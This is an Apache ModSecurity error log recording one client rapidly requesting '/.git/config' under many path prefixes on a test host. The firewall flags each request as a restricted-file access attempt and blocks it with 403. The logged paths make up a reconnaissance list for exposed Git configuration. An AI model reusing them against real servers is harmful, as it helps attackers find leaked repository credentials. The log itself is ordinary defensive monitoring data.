[Mon Mar 25 22:18:15.482331 2024] [:error] [pid 2025389] [client 91.215.85.29:53886] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /alpha/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.git/config&quot;] [unique_id &quot;ZgHqF7UhH0n0eKl87GcSVQAAAAA&quot;]
[Mon Mar 25 22:18:15.488338 2024] [:error] [pid 2025391] [client 91.215.85.29:53868] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/amphtml/.git/config&quot;] [unique_id &quot;ZgHqFw7yBQMRBVFeIK9tFAAAAAI&quot;]
[Mon Mar 25 22:18:15.488450 2024] [:error] [pid 2025389] [client 91.215.85.29:53886] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.git/config&quot;] [unique_id &quot;ZgHqF7UhH0n0eKl87GcSVQAAAAA&quot;]
[Mon Mar 25 22:18:15.488687 2024] [:error] [pid 2025389] [client 91.215.85.29:53886] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.git/config&quot;] [unique_id &quot;ZgHqF7UhH0n0eKl87GcSVQAAAAA&quot;]
[Mon Mar 25 22:18:15.482951 2024] [:error] [pid 2025394] [client 91.215.85.29:53856] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /a/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/a/.git/config&quot;] [unique_id &quot;ZgHqF9BOsPOWY3hOfBgwzAAAAAU&quot;]
[Mon Mar 25 22:18:15.484253 2024] [:error] [pid 2028694] [client 91.215.85.29:53816] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.git/config&quot;] [unique_id &quot;ZgHqF-CYinOrL-HIbyGCIAAAAAk&quot;]
[Mon Mar 25 22:18:15.489018 2024] [:error] [pid 2025394] [client 91.215.85.29:53856] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/a/.git/config&quot;] [unique_id &quot;ZgHqF9BOsPOWY3hOfBgwzAAAAAU&quot;]
[Mon Mar 25 22:18:15.489089 2024] [:error] [pid 2028694] [client 91.215.85.29:53816] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.git/config&quot;] [unique_id &quot;ZgHqF-CYinOrL-HIbyGCIAAAAAk&quot;]
[Mon Mar 25 22:18:15.489217 2024] [:error] [pid 2025394] [client 91.215.85.29:53856] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/a/.git/config&quot;] [unique_id &quot;ZgHqF9BOsPOWY3hOfBgwzAAAAAU&quot;]
[Mon Mar 25 22:18:15.489304 2024] [:error] [pid 2028694] [client 91.215.85.29:53816] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.git/config&quot;] [unique_id &quot;ZgHqF-CYinOrL-HIbyGCIAAAAAk&quot;]
[Mon Mar 25 22:18:15.485245 2024] [:error] [pid 2025393] [client 91.215.85.29:53820] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v3/.git/config&quot;] [unique_id &quot;ZgHqF0xqzvAhw1tF-y09WAAAAAQ&quot;]
[Mon Mar 25 22:18:15.489628 2024] [:error] [pid 2025393] [client 91.215.85.29:53820] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v3/.git/config&quot;] [unique_id &quot;ZgHqF0xqzvAhw1tF-y09WAAAAAQ&quot;]
[Mon Mar 25 22:18:15.489838 2024] [:error] [pid 2025393] [client 91.215.85.29:53820] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v3/.git/config&quot;] [unique_id &quot;ZgHqF0xqzvAhw1tF-y09WAAAAAQ&quot;]
[Mon Mar 25 22:18:15.486090 2024] [:error] [pid 2027220] [client 91.215.85.29:53874] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v4/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v4/.git/config&quot;] [unique_id &quot;ZgHqFxEDTPsfUVS202YN_QAAAAY&quot;]
[Mon Mar 25 22:18:15.486469 2024] [:error] [pid 2025390] [client 91.215.85.29:53798] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v2/.git/config&quot;] [unique_id &quot;ZgHqF4IuwaJZiPZ1lzKBHwAAAAE&quot;]
[Mon Mar 25 22:18:15.490261 2024] [:error] [pid 2025390] [client 91.215.85.29:53798] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v2/.git/config&quot;] [unique_id &quot;ZgHqF4IuwaJZiPZ1lzKBHwAAAAE&quot;]
[Mon Mar 25 22:18:15.490457 2024] [:error] [pid 2025390] [client 91.215.85.29:53798] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v2/.git/config&quot;] [unique_id &quot;ZgHqF4IuwaJZiPZ1lzKBHwAAAAE&quot;]
[Mon Mar 25 22:18:15.487213 2024] [:error] [pid 2027228] [client 91.215.85.29:53832] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;ZgHqF4D7xpu1aVB_6ANFogAAAAg&quot;]
[Mon Mar 25 22:18:15.490791 2024] [:error] [pid 2027228] [client 91.215.85.29:53832] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;ZgHqF4D7xpu1aVB_6ANFogAAAAg&quot;]
[Mon Mar 25 22:18:15.490986 2024] [:error] [pid 2027228] [client 91.215.85.29:53832] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;ZgHqF4D7xpu1aVB_6ANFogAAAAg&quot;]
[Mon Mar 25 22:18:15.492047 2024] [:error] [pid 2027220] [client 91.215.85.29:53874] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v4/.git/config&quot;] [unique_id &quot;ZgHqFxEDTPsfUVS202YN_QAAAAY&quot;]
[Mon Mar 25 22:18:15.492262 2024] [:error] [pid 2027220] [client 91.215.85.29:53874] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v4/.git/config&quot;] [unique_id &quot;ZgHqFxEDTPsfUVS202YN_QAAAAY&quot;]
[Mon Mar 25 22:18:15.588074 2024] [:error] [pid 2025389] [client 91.215.85.29:53894] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v1/.git/config&quot;] [unique_id &quot;ZgHqF7UhH0n0eKl87GcSVgAAAAA&quot;]
[Mon Mar 25 22:18:15.588699 2024] [:error] [pid 2025389] [client 91.215.85.29:53894] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v1/.git/config&quot;] [unique_id &quot;ZgHqF7UhH0n0eKl87GcSVgAAAAA&quot;]
[Mon Mar 25 22:18:15.589115 2024] [:error] [pid 2025389] [client 91.215.85.29:53894] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v1/.git/config&quot;] [unique_id &quot;ZgHqF7UhH0n0eKl87GcSVgAAAAA&quot;]
[Mon Mar 25 22:18:15.589701 2024] [:error] [pid 2025391] [client 91.215.85.29:53918] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;ZgHqFw7yBQMRBVFeIK9tFQAAAAI&quot;]
[Mon Mar 25 22:18:15.590275 2024] [:error] [pid 2025391] [client 91.215.85.29:53918] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;ZgHqFw7yBQMRBVFeIK9tFQAAAAI&quot;]
[Mon Mar 25 22:18:15.590652 2024] [:error] [pid 2025391] [client 91.215.85.29:53918] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;ZgHqFw7yBQMRBVFeIK9tFQAAAAI&quot;]
[Mon Mar 25 22:18:15.593096 2024] [:error] [pid 2027224] [client 91.215.85.29:53934] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.git/config&quot;] [unique_id &quot;ZgHqF5LtBkaAwWmXXFxMgQAAAAc&quot;]
[Mon Mar 25 22:18:15.593623 2024] [:error] [pid 2027224] [client 91.215.85.29:53934] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.git/config&quot;] [unique_id &quot;ZgHqF5LtBkaAwWmXXFxMgQAAAAc&quot;]
[Mon Mar 25 22:18:15.594009 2024] [:error] [pid 2027224] [client 91.215.85.29:53934] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.git/config&quot;] [unique_id &quot;ZgHqF5LtBkaAwWmXXFxMgQAAAAc&quot;]
[Mon Mar 25 22:18:15.594151 2024] [:error] [pid 2028694] [client 91.215.85.29:53902] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v4/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v4/.git/config&quot;] [unique_id &quot;ZgHqF-CYinOrL-HIbyGCIQAAAAk&quot;]
[Mon Mar 25 22:18:15.594598 2024] [:error] [pid 2028694] [client 91.215.85.29:53902] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v4/.git/config&quot;] [unique_id &quot;ZgHqF-CYinOrL-HIbyGCIQAAAAk&quot;]
